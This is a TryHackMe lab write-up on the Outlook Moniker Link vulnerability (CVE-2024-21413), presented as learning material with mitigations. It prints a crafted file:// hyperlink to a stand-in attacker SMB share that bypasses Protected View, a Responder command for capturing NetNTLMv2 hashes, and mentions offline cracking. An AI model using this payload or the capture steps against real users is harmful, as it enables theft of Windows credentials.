TryHackMe: Moniker Link (CVE-2024-21413)

Path: Cyber Security 101 → Exploitation Basics → Moniker Link (CVE-2024-21413) Difficulty: Premium room Focus: Outlook Protected View bypass, NTLM hash leaking, and credential capture with Responder

CVE-2024-21413 is a critical Microsoft Outlook vulnerability affecting how the application handles specially crafted hyperlinks. By abusing the file:// Moniker Link format with a single special character, an attacker can bypass Outlook's Protected View entirely — causing Outlook to silently reach out over SMB and leak the victim's NTLM credentials the moment they click the link, with zero additional interaction required.

Task 2 — Understanding the CVE

Before touching any tooling, the room walks through the vulnerability's official classification to establish just how serious this bug is.

The CVE has been assigned a Critical severity rating — unsurprising given the impact: a single click on a malicious email leaks a user's Windows credentials without triggering any of Outlook's usual security warnings.

Root Cause: Moniker Links & the Protected View Bypass

Outlook normally opens http:// and https:// hyperlinks safely, and even flags file attachments with Protected View to stop malicious documents from making outbound connections automatically. The vulnerability exploits Moniker Links — a legacy Windows OLE mechanism used to reference external objects — instead of a standard http:// link.

Two things make the exploit work:

1. The Moniker Link type used is file:// — rather than pointing to a web resource, the crafted hyperlink references a file path (typically a remote UNC/SMB path like \\attacker-ip\share), which OLE handles very differently from a normal web link.
2. A single ! (exclamation mark) appended to the malicious link is what actually triggers the Protected View bypass. This character has special meaning in the Moniker Link syntax — it separates the link target from an internal fragment/reference, and Outlook's parser fails to apply Protected View correctly when it's present, causing the request to fire immediately instead of being sandboxed.

Put together, a link that looks like:

<a href="file:///\\attacker-ip\share\test!something">Click here</a>

causes Outlook to silently initiate an SMB connection back to the attacker's machine the instant the victim clicks — all without ever showing a Protected View warning.

Task 3 — Capturing the Leaked Hash with Responder

With the delivery mechanism understood, the next step is standing up a listener to actually catch the credentials once the victim interacts with the malicious link.

Responder is the tool used on the AttackBox to capture the leaked credentials. Responder works by spinning up rogue SMB/LLMNR/NBT-NS listener services — so when Outlook's OLE parser reaches out to the attacker-controlled UNC path embedded in the Moniker Link, it authenticates against Responder's fake SMB service, leaking a netNTLMv2 hash in the process.

responder -I <interface>

Once the crafted email is sent and the victim clicks the malicious hyperlink, Responder captures the incoming authentication attempt and dumps the netNTLMv2 hash straight to the terminal — ready to be cracked offline (e.g., with hashcat or John the Ripper) to recover the victim's plaintext password.

Summary

This room is a clean demonstration of how a single overlooked character in a URI parser can completely undermine a security control that's existed for years. Protected View was specifically designed to stop exactly this kind of silent outbound leak — and a one-character quirk in how Moniker Links are parsed was enough to bypass it entirely. It's also a good reminder of why disabling NTLM (or at minimum enforcing SMB signing) organization-wide remains one of the most effective mitigations against this whole class of hash-leak attacks.

No literal CTF-style flag was involved in this room — all screenshots shown are the conceptual/technique answers, presented in full since none constitute a spoonfeed of a challenge flag.